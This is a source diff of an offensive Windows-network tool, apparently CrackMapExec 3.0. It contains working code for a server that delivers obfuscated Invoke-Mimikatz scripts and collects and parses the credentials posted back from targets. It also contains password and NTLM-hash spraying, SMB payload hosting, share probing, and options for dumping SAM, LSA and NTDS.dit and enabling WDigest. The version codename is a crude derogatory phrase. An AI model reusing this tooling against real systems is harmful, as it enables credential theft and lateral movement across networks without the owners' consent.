|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
if str(e).find('S_FALSE') < 0:
|
||||
raise
|
||||
else:
|
||||
break
|
||||
iEnum.RemRelease()
|
||||
|
||||
def default(self, line):
|
||||
line = line.strip('\n')
|
||||
if line[-1:] == ';':
|
||||
line = line[:-1]
|
||||
try:
|
||||
iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n'))
|
||||
self.logger.success('Executed specified WMI query')
|
||||
self.printReply(iEnumWbemClassObject)
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
|
||||
def emptyline(self):
|
||||
pass
|
||||
|
||||
def do_exit(self, line):
|
||||
return True
|
|
@ -1,130 +0,0 @@
|
|||
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||
from threading import Thread
|
||||
from datetime import datetime
|
||||
from StringIO import StringIO
|
||||
from core.logger import CMEAdapter
|
||||
import logging
|
||||
import core.settings as settings
|
||||
import os
|
||||
import re
|
||||
import BaseHTTPServer
|
||||
import ssl
|
||||
|
||||
func_name = re.compile('CHANGE_ME_HERE')
|
||||
|
||||
class MimikatzServer(BaseHTTPRequestHandler):
|
||||
|
||||
def log_message(self, format, *args):
|
||||
cme_logger = logging.getLogger('CME')
|
||||
cme_logger.info("%s - - %s" % (self.client_address[0], format%args))
|
||||
|
||||
def save_mimikatz_output(self, data, cme_logger):
|
||||
log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
with open('logs/' + log_name, 'w') as creds:
|
||||
creds.write(data)
|
||||
cme_logger.info("Saved Mimikatz's output to {}".format(log_name))
|
||||
|
||||
def strip_powershell_comments(self, data):
|
||||
"""
|
||||
Strip block comments, line comments, empty lines, verbose statements,
|
||||
and debug statements from a PowerShell source file.
|
||||
"""
|
||||
# strip block comments
|
||||
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', data)
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
|
||||
return strippedCode
|
||||
|
||||
def do_GET(self):
|
||||
if self.path[1:].endswith('.ps1') and self.path[1:] in os.listdir('hosted'):
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
with open('hosted/'+ self.path[1:], 'rb') as script:
|
||||
ps_script = script.read()
|
||||
if self.path[1:] != 'powerview.ps1':
|
||||
logging.info('Obfuscating Powershell script')
|
||||
ps_script = func_name.sub(settings.obfs_func_name, ps_script) #Randomizes the function name
|
||||
ps_script = self.strip_powershell_comments(ps_script)
|
||||
#logging.info('Sending the following modified powershell script: {}'.format(ps_script))
|
||||
self.wfile.write(ps_script)
|
||||
|
||||
elif settings.args.path:
|
||||
if self.path[1:] == settings.args.path.split('/')[-1]:
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
with open(settings.args.path, 'rb') as rbin:
|
||||
self.wfile.write(rbin.read())
|
||||
|
||||
else:
|
||||
self.send_response(404)
|
||||
self.end_headers()
|
||||
|
||||
def do_POST(self):
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
length = int(self.headers.getheader('content-length'))
|
||||
data = self.rfile.read(length)
|
||||
|
||||
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': self.client_address[0],
|
||||
'port': self.client_address[1],
|
||||
'service': 'PARSER',
|
||||
'hostname': ''})
|
||||
|
||||
if settings.args.mimikatz:
|
||||
try:
|
||||
buf = StringIO(data).readlines()
|
||||
plaintext_creds = []
|
||||
i = 0
|
||||
while i < len(buf):
|
||||
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
|
||||
passw = buf[i].split(':')[1].strip()
|
||||
domain = buf[i-1].split(':')[1].strip()
|
||||
user = buf[i-2].split(':')[1].strip()
|
||||
plaintext_creds.append('{}\\{}:{}'.format(domain, user, passw))
|
||||
|
||||
i += 1
|
||||
|
||||
if plaintext_creds:
|
||||
cme_logger.success('Found plain text credentials (domain\\user:password)')
|
||||
for cred in plaintext_creds:
|
||||
cme_logger.results(u'{}'.format(cred))
|
||||
except Exception as e:
|
||||
cme_logger.error("Error while parsing Mimikatz output: {}".format(e))
|
||||
|
||||
self.save_mimikatz_output(data, cme_logger)
|
||||
|
||||
elif settings.args.mimikatz_cmd:
|
||||
cme_logger.success('Got Mimikatz command output')
|
||||
cme_logger.results(data)
|
||||
self.save_mimikatz_output(data)
|
||||
|
||||
elif settings.args.powerview and data:
|
||||
cme_logger.success('Got PowerView command output')
|
||||
buf = StringIO(data.strip()).readlines()
|
||||
for line in buf:
|
||||
cme_logger.results(line.strip())
|
||||
|
||||
elif settings.args.gpp_passwords and data:
|
||||
cme_logger.success('Got Get-GPPPasswords output')
|
||||
buf = StringIO(data.strip()).readlines()
|
||||
for line in buf:
|
||||
cme_logger.results(line.strip())
|
||||
|
||||
elif settings.args.tokens and data:
|
||||
cme_logger.success('Retrieved avalible tokens:')
|
||||
buf = StringIO(data.strip()).readlines()
|
||||
for line in buf:
|
||||
cme_logger.results(line.strip())
|
||||
|
||||
def http_server(port):
|
||||
http_server = BaseHTTPServer.HTTPServer(('0.0.0.0', port), MimikatzServer)
|
||||
t = Thread(name='http_server', target=http_server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def https_server(port):
|
||||
https_server = BaseHTTPServer.HTTPServer(('0.0.0.0', port), MimikatzServer)
|
||||
https_server.socket = ssl.wrap_socket(https_server.socket, certfile='certs/cme.crt', keyfile='certs/cme.key', server_side=True)
|
||||
t = Thread(name='https_server', target=https_server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
|
@ -1,46 +0,0 @@
|
|||
from impacket import smbserver
|
||||
from threading import Thread
|
||||
import core.settings as settings
|
||||
import ConfigParser
|
||||
import random
|
||||
import logging
|
||||
|
||||
class SMBServer(Thread):
|
||||
def __init__(self):
|
||||
Thread.__init__(self)
|
||||
self.smb = None
|
||||
self.daemon = True
|
||||
|
||||
def run(self):
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file', 'logs/smbserver.log')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# Let's add a dummy share
|
||||
smbConfig.add_section('TMP')
|
||||
smbConfig.set('TMP','comment','')
|
||||
smbConfig.set('TMP','read only','no')
|
||||
smbConfig.set('TMP','share type','0')
|
||||
smbConfig.set('TMP','path', 'hosted')
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path')
|
||||
|
||||
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||
self.smb.processConfigFile()
|
||||
logging.info('SMB server ready')
|
||||
self.smb.serve_forever()
|
||||
|
||||
def stop(self):
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
self._Thread__stop()
|
|
@ -1,16 +0,0 @@
|
|||
from random import sample
|
||||
from string import ascii_lowercase
|
||||
|
||||
def init_args(arg_namespace):
|
||||
"""
|
||||
This is just so we can easily share argparse's namespace
|
||||
"""
|
||||
|
||||
global args
|
||||
args = arg_namespace
|
||||
|
||||
global gfails
|
||||
gfails = 0
|
||||
|
||||
global obfs_func_name
|
||||
obfs_func_name = ''.join(sample(ascii_lowercase, 10))
|
|
@ -1,42 +0,0 @@
|
|||
from impacket.smbconnection import SessionError
|
||||
import random
|
||||
import string
|
||||
import ntpath
|
||||
import settings
|
||||
|
||||
class SHAREDUMP:
|
||||
|
||||
def __init__(self, smbconnection, logger):
|
||||
self.__smbconnection = smbconnection
|
||||
self.__permdir = ''.join(random.sample(string.ascii_letters, 10))
|
||||
self.__logger = logger
|
||||
|
||||
def dump(self, host):
|
||||
permissions = {}
|
||||
root = ntpath.normpath("\\{}".format(self.__permdir))
|
||||
|
||||
for share in self.__smbconnection.listShares():
|
||||
share_name = share['shi1_netname'][:-1]
|
||||
permissions[share_name] = []
|
||||
|
||||
try:
|
||||
if self.__smbconnection.listPath(share_name, '*'):
|
||||
permissions[share_name].append('READ')
|
||||
except SessionError:
|
||||
pass
|
||||
|
||||
try:
|
||||
if self.__smbconnection.createDirectory(share_name, root):
|
||||
self.__smbconnection.deleteDirectory(share_name, root)
|
||||
permissions[share_name].append('WRITE')
|
||||
except SessionError:
|
||||
pass
|
||||
|
||||
self.__logger.success('Enumerating shares')
|
||||
self.__logger.results('{:<10} {}'.format('SHARE', 'Permissions'))
|
||||
self.__logger.results('{:<10} {}'.format('-----', '-----------'))
|
||||
for share, perm in permissions.iteritems():
|
||||
if not perm:
|
||||
self.__logger.results(u'{:<10} {}'.format(share, 'NO ACCESS'))
|
||||
else:
|
||||
self.__logger.results(u'{:<10} {}'.format(share, ', '.join(perm)))
|
|
@ -1,243 +0,0 @@
|
|||
import settings
|
||||
import os
|
||||
import socket
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
|
||||
def hash_login(connection, user, domain, ntlm_hash, cme_logger):
|
||||
if str(connection).find('SMBConnection') != -1:
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
if settings.args.kerb:
|
||||
connection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
|
||||
else:
|
||||
connection.login(user, '', domain, lmhash, nthash)
|
||||
|
||||
cme_logger.success(u"Login successful {}\\{}:{}".format(domain, user, ntlm_hash))
|
||||
return connection, user, None, ntlm_hash, domain
|
||||
|
||||
elif str(connection).find('MSSQL') != -1:
|
||||
try:
|
||||
if settings.args.kerb:
|
||||
res = connection.kerberosLogin(None, user, '', domain, ntlm_hash, settings.args.aesKey)
|
||||
if res is not True:
|
||||
connection.printReplies()
|
||||
raise Exception
|
||||
else:
|
||||
res = connection.login(None, user, '', domain, ntlm_hash, True)
|
||||
if res is not True:
|
||||
connection.printReplies()
|
||||
raise Exception
|
||||
|
||||
cme_logger.success(u"Login successful {}\\{}:{}".format(domain, user, ntlm_hash))
|
||||
return connection, user, None, ntlm_hash, domain
|
||||
|
||||
except Exception as e:
|
||||
cme_logger.error(str(e))
|
||||
|
||||
def normal_login(connection, user, passwd, domain, cme_logger):
|
||||
if str(connection).find('SMBConnection') != -1:
|
||||
if settings.args.kerb:
|
||||
connection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
|
||||
else:
|
||||
connection.login(user, passwd, domain, '', '')
|
||||
|
||||
cme_logger.success(u"Login successful {}\\{}:{}".format(domain, user, passwd))
|
||||
return connection, user, passwd, None, domain
|
||||
|
||||
elif str(connection).find('MSSQL') != -1:
|
||||
try:
|
||||
if settings.args.kerb:
|
||||
res = connection.kerberosLogin(None, user, passwd, domain, None, settings.args.aesKey)
|
||||
if res is not True:
|
||||
connection.printReplies()
|
||||
raise Exception
|
||||
else:
|
||||
res = connection.login(None, user, passwd, domain, None, True)
|
||||
if res is not True:
|
||||
connection.printReplies()
|
||||
raise Exception
|
||||
|
||||
cme_logger.success(u"Login successful {}\\{}:{}".format(domain, user, passwd))
|
||||
return connection, user, passwd, None, domain
|
||||
|
||||
except Exception as e:
|
||||
cme_logger.error(str(e))
|
||||
|
||||
def smart_login(host, domain, connection, cme_logger):
|
||||
|
||||
usernames = []
|
||||
user_files = []
|
||||
passwords = []
|
||||
pass_files = []
|
||||
hashes = []
|
||||
hash_files = []
|
||||
|
||||
fails = 0
|
||||
|
||||
if settings.args.combo_file:
|
||||
with open(settings.args.combo_file, 'r') as combo_file:
|
||||
for line in combo_file:
|
||||
|
||||
if settings.args.fail_limit:
|
||||
if settings.args.fail_limit == fails:
|
||||
cme_logger.info('Reached login fail limit')
|
||||
raise socket.error
|
||||
|
||||
if settings.args.gfail_limit:
|
||||
if settings.gfails >= settings.args.gfail_limit:
|
||||
cme_logger.info('Reached global login fail limit')
|
||||
raise socket.error
|
||||
|
||||
try:
|
||||
line = line.strip()
|
||||
|
||||
#Ok , we're dealing with an entry in pwdump format
|
||||
if line[-3:] == ':::':
|
||||
line = line[:-3]
|
||||
domain_user, uid, lmhash, nthash = line.split(':')
|
||||
ntlm_hash = '{}:{}'.format(lmhash, nthash)
|
||||
if '\\' in domain_user:
|
||||
domain, user = domain_user.split('\\')
|
||||
else:
|
||||
user = domain_user
|
||||
|
||||
try:
|
||||
return hash_login(connection, user, domain, ntlm_hash, cme_logger)
|
||||
except SessionError as e:
|
||||
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, ntlm_hash, e))
|
||||
if 'STATUS_LOGON_FAILURE' in str(e):
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
elif line[-3] != ':::':
|
||||
if '\\' in line:
|
||||
domain, user_pass = line.split('\\')
|
||||
else:
|
||||
user_pass = line
|
||||
|
||||
if len(user_pass.split(':')) == 3:
|
||||
hash_or_pass = ':'.join(user_pass.split(':')[1:3]).strip()
|
||||
|
||||
#Not the best way to determine of it's an NTLM hash, this needs to be changed
|
||||
if len(hash_or_pass) == 65 and len(hash_or_pass.split(':')[0]) == 32 and len(hash_or_pass.split(':')[1]) == 32:
|
||||
user = user_pass.split(':')[0]
|
||||
try:
|
||||
return hash_login(connection, user, domain, hash_or_pass, cme_logger)
|
||||
except SessionError as e:
|
||||
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, hash_or_pass, e))
|
||||
if 'STATUS_LOGON_FAILURE' in str(e):
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
elif len(user_pass.split(':')) == 2:
|
||||
user, passwd = user_pass.split(':')
|
||||
try:
|
||||
return normal_login(connection, user, passwd, domain, cme_logger)
|
||||
except SessionError as e:
|
||||
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, passwd, e))
|
||||
if 'STATUS_LOGON_FAILURE' in str(e):
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
except Exception as e:
|
||||
cme_logger.error("Error parsing line '{}' in combo file: {}".format(line, e))
|
||||
continue
|
||||
|
||||
for user in settings.args.user:
|
||||
if os.path.exists(user):
|
||||
user_files.append(open(user, 'r'))
|
||||
else:
|
||||
usernames.append(user)
|
||||
|
||||
for passwd in settings.args.passwd:
|
||||
if os.path.exists(passwd):
|
||||
pass_files.append(open(passwd, 'r'))
|
||||
else:
|
||||
passwords.append(passwd)
|
||||
|
||||
for ntlm_hash in settings.args.hash:
|
||||
if os.path.exists(ntlm_hash):
|
||||
hash_files.append(open(ntlm_hash, 'r'))
|
||||
else:
|
||||
hashes.append(ntlm_hash)
|
||||
|
||||
for user in usernames:
|
||||
|
||||
if settings.args.fail_limit:
|
||||
if settings.args.fail_limit == fails:
|
||||
cme_logger.info('Reached login fail limit')
|
||||
raise socket.error
|
||||
|
||||
if settings.args.gfail_limit:
|
||||
if settings.gfails >= settings.args.gfail_limit:
|
||||
cme_logger.info('Reached global login fail limit')
|
||||
raise socket.error
|
||||
|
||||
if hashes:
|
||||
for ntlm_hash in hashes:
|
||||
try:
|
||||
return hash_login(connection, user, domain, ntlm_hash, cme_logger)
|
||||
except SessionError as e:
|
||||
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, ntlm_hash, e))
|
||||
if 'STATUS_LOGON_FAILURE' in str(e):
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
if passwords:
|
||||
for passwd in passwords:
|
||||
try:
|
||||
return normal_login(connection, user, passwd, domain, cme_logger)
|
||||
except SessionError as e:
|
||||
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, passwd, e))
|
||||
if 'STATUS_LOGON_FAILURE' in str(e):
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
for user_file in user_files:
|
||||
for user in user_file:
|
||||
|
||||
if settings.args.fail_limit:
|
||||
if settings.args.fail_limit == fails:
|
||||
cme_logger.info('Reached login fail limit')
|
||||
raise socket.error
|
||||
|
||||
if settings.args.gfail_limit:
|
||||
if settings.gfails >= settings.args.gfail_limit:
|
||||
cme_logger.info('Reached global login fail limit')
|
||||
raise socket.error
|
||||
|
||||
user = user.strip()
|
||||
|
||||
if hash_files:
|
||||
for hash_file in hash_files:
|
||||
for ntlm_hash in hash_file:
|
||||
try:
|
||||
return hash_login(connection, user, domain, ntlm_hash, cme_logger)
|
||||
except SessionError as e:
|
||||
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, ntlm_hash, e))
|
||||
if 'STATUS_LOGON_FAILURE' in str(e):
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
|
||||
hash_file.seek(0)
|
||||
|
||||
|
||||
if pass_files:
|
||||
for pass_file in pass_files:
|
||||
for passwd in pass_file:
|
||||
try:
|
||||
return normal_login(connection, user, passwd, domain, cme_logger)
|
||||
except SessionError as e:
|
||||
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, passwd, e))
|
||||
if 'STATUS_LOGON_FAILURE' in str(e):
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
|
||||
pass_file.seek(0)
|
||||
|
||||
raise socket.error
|
|
@ -1,20 +1,19 @@
|
|||
from time import time, strftime, localtime
|
||||
from core.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
from impacket.smbconnection import SessionError
|
||||
import re
|
||||
import settings
|
||||
import traceback
|
||||
|
||||
from time import time, strftime, localtime
|
||||
from impacket.smbconnection import SessionError
|
||||
from remotefilesystem import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
class SMBSpider:
|
||||
|
||||
class SMBSPIDER:
|
||||
def __init__(self, logger, connection):
|
||||
self.logger = logger
|
||||
self.smbconnection = smbconnection
|
||||
self.start_time = time()
|
||||
self.host = host
|
||||
|
||||
def __init__(self, logger, host, smbconnection):
|
||||
self.__logger = logger
|
||||
self.__smbconnection = smbconnection
|
||||
self.__start_time = time()
|
||||
self.__host = host
|
||||
self.__logger.success("Started spidering")
|
||||
self.logger.success("Started spidering")
|
||||
|
||||
def spider(self, subfolder, depth):
|
||||
'''
|
||||
|
@ -32,13 +31,12 @@ class SMBSPIDER:
|
|||
subfolder = subfolder.replace('/*/', '/') + '/*'
|
||||
|
||||
try:
|
||||
filelist = self.__smbconnection.listPath(settings.args.share, subfolder)
|
||||
filelist = self.smbconnection.listPath(settings.args.share, subfolder)
|
||||
self.dir_list(filelist, subfolder)
|
||||
if depth == 0:
|
||||
return
|
||||
except SessionError:
|
||||
if settings.args.verbose: traceback.print_exc()
|
||||
return
|
||||
except SessionError as e:
|
||||
pass
|
||||
|
||||
for result in filelist:
|
||||
if result.is_directory() and result.get_longname() != '.' and result.get_longname() != '..':
|
||||
|
@ -54,9 +52,9 @@ class SMBSPIDER:
|
|||
for pattern in settings.args.pattern:
|
||||
if re.findall(pattern, result.get_longname()):
|
||||
if result.is_directory():
|
||||
self.__logger.results(u"//{}/{}{} [dir]".format(self.__host, path, result.get_longname()))
|
||||
self.logger.highlight(u"//{}/{}{} [dir]".format(self.__host, path, result.get_longname()))
|
||||
else:
|
||||
self.__logger.results(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.__host,
|
||||
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.host,
|
||||
path,
|
||||
result.get_longname(),
|
||||
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
|
||||
|
@ -71,7 +69,7 @@ class SMBSPIDER:
|
|||
def search_content(self, path, result, pattern):
|
||||
path = path.replace('*', '')
|
||||
try:
|
||||
rfile = RemoteFile(self.__smbconnection,
|
||||
rfile = RemoteFile(self.smbconnection,
|
||||
path + result.get_longname(),
|
||||
settings.args.share,
|
||||
access = FILE_READ_DATA)
|
||||
|
@ -85,7 +83,7 @@ class SMBSPIDER:
|
|||
return
|
||||
|
||||
if re.findall(pattern, contents):
|
||||
self.__logger.results(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(self.__host,
|
||||
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(self.host,
|
||||
path,
|
||||
result.get_longname(),
|
||||
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
|
||||
|
@ -98,11 +96,9 @@ class SMBSPIDER:
|
|||
except SessionError as e:
|
||||
if 'STATUS_SHARING_VIOLATION' in str(e):
|
||||
pass
|
||||
if settings.args.verbose: traceback.print_exc()
|
||||
|
||||
except Exception as e:
|
||||
self.__logger.error(str(e))
|
||||
if settings.args.verbose: traceback.print_exc()
|
||||
traceback.print_exc()
|
||||
|
||||
def finish(self):
|
||||
self.__logger.error("Done spidering (Completed in {})".format(time() - self.__start_time))
|
||||
self.logger.error("Done spidering (Completed in {})".format(time() - self.start_time))
|
|
@ -0,0 +1,30 @@
|
|||
from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError
|
||||
|
||||
def parse_targets(target):
|
||||
if '-' in target:
|
||||
ip_range = target.split('-')
|
||||
try:
|
||||
hosts = IPRange(ip_range[0], ip_range[1])
|
||||
except AddrFormatError:
|
||||
try:
|
||||
start_ip = IPAddress(ip_range[0])
|
||||
|
||||
start_ip_words = list(start_ip.words)
|
||||
start_ip_words[-1] = ip_range[1]
|
||||
start_ip_words = [str(v) for v in start_ip_words]
|
||||
|
||||
end_ip = IPAddress('.'.join(start_ip_words))
|
||||
|
||||
t = IPRange(start_ip, end_ip)
|
||||
except AddrFormatError:
|
||||
t = target
|
||||
else:
|
||||
try:
|
||||
t = IPNetwork(target)
|
||||
except AddrFormatError:
|
||||
t = target
|
||||
|
||||
if type(t) == IPNetwork or type(t) == IPRange:
|
||||
return list(t)
|
||||
else:
|
||||
return [t.strip()]
|
|
@ -6,27 +6,26 @@ monkey.patch_all()
|
|||
|
||||
from gevent.pool import Pool
|
||||
from gevent import joinall, sleep
|
||||
|
||||
from core.logger import *
|
||||
from core.greenlets import main_greenlet
|
||||
from core.settings import init_args
|
||||
from core.servers.mimikatz import http_server, https_server
|
||||
from core.connector import connector
|
||||
from core.database import CMEDatabase
|
||||
from core.cmeserver import CMEServer
|
||||
from threading import Thread
|
||||
from logging import getLogger
|
||||
from argparse import RawTextHelpFormatter
|
||||
from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError
|
||||
from logging import DEBUG
|
||||
|
||||
import re
|
||||
from core.logger import setup_logger, setup_debug_logger, CMEAdapter
|
||||
from core.context import Context
|
||||
from core.helpers import highlight
|
||||
from core.targetparser import parse_targets
|
||||
import getpass
|
||||
import sqlite3
|
||||
import imp
|
||||
import argparse
|
||||
import sys
|
||||
import os
|
||||
import logging
|
||||
import sys
|
||||
|
||||
VERSION = '2.3'
|
||||
CODENAME = '\'Pink Bubbles\''
|
||||
|
||||
if sys.platform == 'linux2':
|
||||
if os.geteuid() is not 0:
|
||||
print_error('I needz r00tz!')
|
||||
sys.exit(1)
|
||||
VERSION = '3.0'
|
||||
CODENAME = '\'So looong gay boy!\''
|
||||
|
||||
parser = argparse.ArgumentParser(description="""
|
||||
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
|
||||
|
@ -48,252 +47,204 @@ parser = argparse.ArgumentParser(description="""
|
|||
|
||||
{}: {}
|
||||
{}: {}
|
||||
""".format(red('Version'),
|
||||
yellow(VERSION),
|
||||
red('Codename'),
|
||||
yellow(CODENAME)),
|
||||
""".format(highlight('Version', 'red'),
|
||||
highlight(VERSION),
|
||||
highlight('Codename', 'red'),
|
||||
highlight(CODENAME)),
|
||||
|
||||
formatter_class=RawTextHelpFormatter,
|
||||
version='{} - {}'.format(VERSION, CODENAME),
|
||||
epilog='Hut Hut! Wat Wat!')
|
||||
epilog='HA! Made you look!')
|
||||
|
||||
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
|
||||
parser.add_argument("-u", metavar="USERNAME", dest='user', nargs='*', default=[], type=str, help="Username(s) or file(s) containing usernames")
|
||||
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', nargs= '*', default=[], type=str, help="Password(s) or file(s) containing passwords")
|
||||
parser.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], type=str, help='NTLM hash(es) or file(s) containing NTLM hashes')
|
||||
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, default=None, help="Combo file containing pwdump formatted entries or list of domain\\username:password or username:password entries")
|
||||
parser.add_argument('-k', action="store", dest='aesKey', metavar="HEX_KEY", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
|
||||
parser.add_argument('-id', metavar="CRED_ID", type=int, dest='cred_id', help='Database credential ID to use for authentication')
|
||||
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
|
||||
parser.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
|
||||
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
|
||||
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
|
||||
parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
|
||||
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
|
||||
parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (defaults to https)')
|
||||
parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
|
||||
#How much fail can we limit? can we fail at failing to limit? da da da dum
|
||||
msgroup = parser.add_mutually_exclusive_group()
|
||||
msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords")
|
||||
msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
|
||||
parser.add_argument("-m", metavar='MODULE', dest='module', help='Payload module to use')
|
||||
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options')
|
||||
parser.add_argument('--module-info', action='store_true', dest='module_info', help='Display module info')
|
||||
parser.add_argument("--share", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
|
||||
parser.add_argument("--smb-port", dest='smb_port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
|
||||
parser.add_argument("--mssql-port", dest='mssql_port', default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)')
|
||||
parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)')
|
||||
parser.add_argument("--server-port", dest='server_port', metavar='PORT', type=int, help='Start the server on the specified port')
|
||||
parser.add_argument("--local-auth", dest='local_auth', action='store_true', help='Authenticate localy to each target')
|
||||
parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
|
||||
parser.add_argument("--fail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed per host (default: None)')
|
||||
parser.add_argument("--gfail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed globally (default: None)')
|
||||
parser.add_argument("--verbose", action='store_true', dest='verbose', help="Enable verbose output")
|
||||
|
||||
rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
|
||||
rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
|
||||
rgroup.add_argument("--gpp-passwords", action='store_true', help='Retrieve plaintext passwords and other information for accounts pushed through Group Policy Preferences')
|
||||
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
|
||||
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
|
||||
rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
|
||||
rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
|
||||
rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems')
|
||||
rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', help='Run Invoke-Mimikatz with the specified command')
|
||||
rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
|
||||
rgroup.add_argument("--disable-wdigest", action='store_true', help="Deletes the 'UseLogonCredential' registry key")
|
||||
|
||||
egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
||||
egroup.add_argument("--shares", action="store_true", dest="enum_shares", help="List shares")
|
||||
egroup.add_argument("--tokens", action='store_true', help="Enumerate available tokens")
|
||||
egroup.add_argument('--check-uac', action='store_true', dest='check_uac', help='Checks UAC status')
|
||||
egroup.add_argument("--shares", action="store_true", dest="enum_shares", help="Enumerate shares and access")
|
||||
